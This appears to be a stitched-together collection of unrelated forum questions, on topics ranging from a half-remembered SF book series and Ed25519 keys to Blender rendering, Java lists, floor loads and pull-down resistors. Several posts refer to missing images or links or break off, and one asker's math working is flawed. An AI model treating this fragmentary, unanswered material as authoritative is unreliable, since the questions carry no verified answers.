My memory of this is sketchy and I hope I don't jumble it too much. I read two or three books (possibly more exist) in a series in the late 1990s.   The whole thing was mainly SF with a dose of fantasy.  The main character is a man who is immortal. He doesn't age and can recover from even the most horrific wounds.  I'm not sure if there where other immortals (I seem to recall a woman and another man). As far as I can recall, immortals were infertile and couldn't have children.   He lives among a tribe of nomadic people who roam the prairies of post-apocalyptic North America on horseback (society like Native American prairie tribes).  Among their tribes (there is more than one) also live huge (lion-sized?) cats who are telepathic and have near-human level intelligence.   The immortal man is a leader among the nomads and, I seem to recall, he is instrumental in getting the tribes together in a larger alliance and gradually moving them East to the coast.    On the east coast, some cities remain (Pittsburgh I clearly recall) who have a medieval feudal society with a militia and knight-based military. (I clearly remember that military ranks among them had Greek-derived names, which was quite strange.)  There was also a small group of people who had retained pre-apocalypse technology (radios, trucks, helicopters, firearms), possibly survivors or descendants of the military or of some scientists. These people were antagonistic to the immortal and try to kill or capture him. The immortal had some narrow escapes. They mainly work in secret and avoid letting their presence be known among the tribes.


Top-bar does not alert to reputation changes after bounty awarded

I noticed that the top-bar did not alert me with a green +5 when  was upvoted.  I suspect that is because I had just awarded a bounty1 hence my rep went first -100 and then -95 after an upvote was cast. So perhaps this is why the +5 was not detected?  1 The reason for the bounty can be found on .


I am studying about blockchain and have been focusing on encryption protocols that allow authentication. The digital signature of public and private key seems solid, I have focused on the algorithm ED25519.  But in some places, some people say about not exposing the public key because through the public key and signature it would be possible to derive the private key. Some say that quantum computers will easily accomplish this task.  At first, I thought the reason for the bitcoin addresses was to make the public key "human-readable." But I see that there are some security points having a public key hash.  So I have some doubts:   Is it really a risk of exposing the public key without any treatment? If so, what are the alternatives? How does bitcoin, for example, validate the transaction signature with a public key hash and not the public key itself? (After all, it would be "impossible" to reverse a sha256 hash to its origin)


Clarification of meaning of dx in an integral

I would like to have some clarification on the physical meaning of $dx$. I already know the following in the context of the area under the curve:  $\lim_{\Delta x \rightarrow 0} \sum f(x) \Delta x \approx \int f(x) dx $  $dx$ is still an interval on x axis. Makes perfect sense.  Let's say I have the following curve $(x,f(x))$ like this:    and I have some function $g(x,y)$ that I want to measure its total sum along my curve. Can I formulate it is as?  $\int_{a}^b g(x,f(x)) dx$  If so, what is the physical meaning of $dx$ here? Aren't we multiplying some extra values ($dx$) into $g(x,f(x))$ and getting a wrong result?


EXR Transparency Border with bloom and glare

was solved by saving to EXR, however when loading that EXR into the VSE over a background a dark border appears around the transparent text that cuts through the glare and bloom. I'm using Blender 2.92.0. EEVEE with bloom Render layers -> Glare -> Composite (with "UseAlpha" checked)


How to decrease audio volume below the minimum volume?

I have a 3- C-Media USB Headphone Set, a USB-Soundcard. I connected my head phones to it's headphone output. But even at level 2 of 100 in Windows 10, it is too loud. How do I make it even quieter?


No immediet effect when switching between rendering modes, Eevee and Cycles

[When taking photos on Cycles, it renders it in Cycles, but I can't see how it looks until it renders.


Can I put a metal safe weighing 2000 lbs in a 12x12 room?

I have a 12'x12' upstairs bedroom. Can a 2000 lbs safe be placed in that room? The dimensions would be the same size as a queen size bed (60"x80").  Can you supply the math in your answer.  Thank you in advance  Danny


Hi. I can't bake properly. after countless time of trying I still don't know what causes this though the set up is exactly same as tutorial video. 'white' space just doesn't show up except for the little part that is below jaw which I marked seam. Thank you in advance.


How to evalute a math expression given in string form in C#?

I'm fairly new to programming and c#. I have a problem with a simple calculator program I'm trying to write in visual studio c#. I want to convert my text with numbers and math operators into a number. All my attempts so far have led to no success. I have tried:  Double.Parse() Convert.Int32() Convert.Double()  Here are some images of my code:   Any help would be much appreciated, if there is any extra information you need I would be happy to provide it. -Retro_Goat


How can make a continued fraction in the following format?

How can make a continued fraction in the previous format?


Does the series $ \sum\limits_{n=1}^{\infty} \frac{1}{n^{1 + |\sin(n)|}} $ converge or diverge?

Does the following series converge or diverge? I would like to see a demonstration.  $$ \sum_{n=1}^{\infty} \frac{1}{n^{1 + |\sin(n)|}}. $$  I can see that: $$ \sum_{n=1}^{\infty} \frac{1}{n^{1 + |\sin(n)|}} \leqslant \sum_{n=1}^{\infty} \frac{1}{n^{1 + {\sin^{2}}(n)}} \leqslant \sum_{n=1}^{\infty} \frac{1}{n^{1 + {\sin^{2n}}(n)}}. $$


Is there a firewall that blocks a process and shows a dialog with buttons Allow, Drop, Disable?

Currently I use ufw and Firestarter, and I'm just learning how to use a firewall.  When I used windows there were a couple of firewalls that could block a process which tried to establish connection and show a dialog with the process name and buttons with preferred actions.  Is there deb package which can block connection and show which process tries to establish it, giving the user a choice what to do with the connection?  I really need it because I cannot figure out which process was blocked by Firestarter given that log entry:  Time            Port  Source        Destination    Protocol Service Feb 13 21:55:09 12350 192.168.1.100 193.120.x.x    TCP       Unknown


Add feature to postgis layer with sequenced id using pyqgis

Using python, I want to add a feature into a postgis layer that has a PK generated by a sequence.   layer (id [PK], field1, field2)  with edit(layer):             fields = layer.pendingFields()             new_feat = QgsFeature(fields)             new_feat[1] = 'text1'             new_feat[2] = 'text2'              layer.addFeatures([new_feat])   But I get an error saying the value is too long for the type of the id attribute  Question: How can I assign the next value of the postgis sequence to the id?


How to copy all the elements in an array list, then paste them to the array list? Example provided

I want to copy all elements of ArrayList to the back of the ArrayList. For example, in my ArrayList, there are {1,2,3,4} and I want it to be like this --> {1,2,3,4,1,2,3,4}. How do I do it?        for (int pos = 0; pos <  hand.size (); pos ++)        {            hand.add (hand.get(pos));        }   This gives me an error saying out of memory... Is there any way to make it work?  Thank you


An array of pairs instead of an STL map - possible? What are the pros and cons?

Why are c++ standard maps very famous for, whereas an array of pairs is also similar those? When would it be better to use c++ standard maps, and when to use an array of pairs? Or are the applications similar for both?


How can I tell if it is safe to clip these wires?

We recently bought a little old house with a detached garage that had been converted into a study or studio. There's a great sagging bundle of cables running from the main house to the studio. Some are obviously phone lines, some look like coax cable. None are obviously power lines, but there's definitely electricity in the studio.   We don't have a landline and when we set up our cable they ran a new cable line, and I assume that if we ever wanted a landline they'd start that from scratch, too. So I'd really like to cut these cables, but I obviously don't want to go out with my wire cutter and snip the power line.   Where the power lines come into the main junction box from the street they run through porcelain insulators. I haven't figured out where the power for the studio actually runs.   I've tried to trace them to their respective sources, but at various points they've been painted over and it is really hard to sort out where each wire is coming from or going to.    So my question is: how do I ensure that I won't electrocute myself before I cut any particular wire?


Indenting wrapped words in tabular environment


Can anybody please explain to me how "if $p$, then $q$" is logically equivalent to "$q$ unless ~$p$" ?  My problem is with all truth possibilities of $p$ and $q$ except for when both are true It seems in those situations they would not have the same logical meaning For e.g: "if $p$, then $q$" is true if $p$ is false and $q$ is true. However, shouldn't this possible combination render "$q$ unless ~$p$" false? Feel free to use truth tables or whatever method that would help in explanation.


Details an applicant should include/exclude in an introductory letter to a prospective grad school adviser?

I'm applying for graduate school (PhD in computer science), and I'm considering writing to faculty whose research areas match with what I intend to pursue, to understand:   Whether they'd be looking for new students at all in the coming year? If they did, would they be potentially interested in my profile (I know no-one would guarantee an acceptance without me going through the process of application), but it would help to know if they would not be interested at all in me - which would leave me  free apply to other schools in which I get a neutral/positive response.   Keeping the above in mind, what would be the best way to introduce myself in the first mail?   What should be the salutation - I know "Respected Sir" sounds archaic, but was wondering if "Dear Professor X" sounded too informal or not! Do I state my credentials (details of where I did my undergrads/masters) first, or do I state my purpose in writing to him/her? How to mention my background concisely, without giving too much details, while at the same time not "underselling" myself as a potential grad student? I want to give a link to my resume/profile hosted on my website - should I embed the hyperlink, or is it better to write the link in plain text? How do I end such a letter - the obvious ones (such as "see you soon" or "till we meet again") being not quite suitable in this case)?   I'm basically afraid of saying too much (causing vexation) or too little (resulting in no response to my missive). I understand that the faculty are accustomed to seeing their inbox flooded with such mails each year, few of which ever get a positive response - which may not always be due to lack of an interesting profile, but the manner in which the mail is worded (Many professors have explicitly mentioned on their websites that they would not respond to generic "Do you have funding" type of queries no matter what the credentials of the student are!).   Though my interest is specific to CS, I believe it would apply to other fields as well. Also, I would be interested in the opinions of both present faculty members (who have to sort through such mails), and past applicants to grad-school (who have the experience of successfully writing to their advisers before applying)...


Is there a web based terminal/ssh client?

I'm at a library, and all of the computers are Windows based.  I'm sshing into my Ubuntu box somewhere else. The terms of service says "You may not make any changes to system files." However, when I ssh into my Ubuntu box, it might "look" like I'm hacking, since I've had a few people (including I presume the library supervisor) look at my computer funny when I opened a website where the text was a monospaced font and the website background was black. Running Command Prompt will certainly be considered to be hacking if looking at a website was.  If I'm sshing into my box it appears as though I'm "hacking" into the computer. I'd like to somehow do it in a web browser with nice happy looking text, so that it actually represents what I'm doing; I'm not going to hack into the computer, I'm only using a computer somewhere else.


How do I improve Happiness in my Fallout Shelter?

I am playing Fallout Shelter, and I do not know how to make everyone happy. I have tried getting a lot of Food, Energy, and Water, but that did not work. I have also gave them pets and bigger rooms but that does not work either. Do you have any advice?


How to convert pdf to an open text format in a fast way? i got hundreds of pdfs from my old hd and i'd like to clean them and convert to a safe open format, so i've been scatering internet allover and the only thing i found was an program called pdftotext but i'd like to know if is there any other faster ways, can anyone help me?


number of distinct solution of Integral equation

Total number of distinct $0\leq x\leq 1$ for which $\displaystyle \int_{0}^{x}\frac{t^2}{1+t^4}dt = 2x-1$   $\bf{My\; Try::}$ Given $\displaystyle \underbrace{\int_{0}^{x}\frac{t^2}{1+t^4}dt}_{\geq 0} = 2x-1\;,$ Where $0\leq x\leq 1$  So we get $\displaystyle x\geq \frac{1}{2}\;\;\;,$ Now  $\displaystyle \frac{d}{dx}\left\{\int_{0}^{x}\frac{t^2}{1+t^4}dt\right\} =\frac{d}{dx}(2x-1)$  So $$\frac{x^2}{1+x^4}=2\Rightarrow \underbrace{x^2+\frac{1}{x^2}}_{\geq 2} = \frac{1}{2}$$  So no real values of $x$  Is my solution is Right, If not then how can i solve it some short way, Thanks


When should "farther" and "further" be used?

I know I learned the difference between the usage of farther and further in school, but I can never remember where each one should be used.  Can someone help me out here?


I am trying to gain a more intuitive feeling for the use of logarithms.   So, my questions: What do you use them for? Why were they invented? What are typical situations where one should think: "hey, let's take the $\log$!"?     Thanks for the great comments!      Here a short summary what we have so far:      History:      Logarithms were first published 1614   by John Napier   (mathematician/astronomer) . He needed   them for simplifying the   multiplication of large numbers.      Today’s uses:         In regression analysis: If you expect a predictor variable to follow   a power/exponential law, take the   corresponding logarithm to linearize   the relationship.   In finance to calculate compound interests.   Or more general: to calculate the time variable in growth/decay   functions. (Nuclear decay, biological   growth…)   In computer science to avoid underflow. (Cool trick! But seriously:   32-bit? Take a double ;-)   In the Prime Number Theorem   For handling very large/small numbers (pH, etc.)   Plotting (if your scale gets too large)


Is arr.__len__() the preferred way to get the length of an array in Python?

In , is the following the only way to get the number of elements?  arr.__len__()   If so, why the strange syntax?


Where will load fall using Nginx, Varnish, and HAProxy?

We are looking into scaling our servers and I am not sure where load will fall as visitor count increases.  I have one HAProzy load balancer, that proxies to two Varnish Nginx static content servers. As our load increases, which server(s) will take the largest hit in terms of resource impact? They are all Digital Ocean droplets so I can scale them up as needed. Would the load be highest on the HAProxy server, or the Varnish servers?


Variables vs. Constants, how are they defined in ZFC, and how they differ?

The other day I was thinking that whenever I'm presented in Uni with constants my teachers use letters like $c$, $k$, $n$, $a$, $b$, etc, and when encountered with variables they use letters like $x$, $y$, $z$, $w$, etc. However, these are only labels, there's nothing stopping me from using $c$ as a variable, or $x$ a constant; this led me to ask myself how are constants vs. variables formally defined. So far, I have only come up with the definition of a constant in a set by reading "Introduction to Set" Theory by Jech and Hrbáček:  According what they say, given a set $A$ and a $0$-ary operation $R$ on $A$, $(∅,a)$, such that $(∅,a)\in R$ and $a\in A$, is a constant and we can call it just $a$. Nonetheless, I haven't found anything on the book about the formal definition of a variable. Is my understanding of the definition of a constant correct? Do you know what's the definition of a variable? (if so, could you share it with me?) Thanks in advance.


How is the input not floating when there is a pull-down resistor?

I am wondering why the input to D2 will not be floating when the switch is open. If the switch is open, wouldn't it act like a mini antenna and provide a random input to the D2 pin?